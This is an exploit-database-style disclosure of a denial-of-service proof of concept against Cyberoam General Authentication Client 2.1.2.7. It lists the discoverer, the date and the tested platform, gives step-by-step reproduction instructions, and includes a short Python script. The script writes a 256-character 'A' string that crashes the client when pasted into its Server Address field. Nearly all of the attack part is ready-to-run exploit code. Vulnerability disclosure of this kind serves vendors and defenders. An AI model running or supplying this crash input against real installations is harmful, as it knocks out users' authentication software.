Cyberoam General Authentication Client 2.1.2.7 Server Address Denial Of Service

`#Exploit Title: Cyberoam General Authentication Client 2.1.2.7 - Denial of Service (PoC)  
#Discovery by: Victor Mondragón  
#Discovery Date: 2019-05-23  
#Vendor Homepage: https://www.cyberoam.com  
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/Cyberoam%20General%20Authentication%20Client%202.1.2.7.zip  
#Tested Version: 2.1.2.7  
#Tested on: Windows 7 Service Pack 1 x64  
  
#Steps to produce the crash:  
#1.- Run python code: cgac_2.1.2.7.py  
#2.- Open cgac_2.1.2.7.txt and copy content to clipboard  
#3.- Open Cyberoam General Authentication Client  
#4.- In "Server Address" field paste Clipboard  
#5.- Click on "Test"  
#6.- Crashed!   
  
cod = "\x41" * 256  
  
f = open('cgac_2.1.2.7.txt', 'w')  
f.write(cod)  
f.close()  
`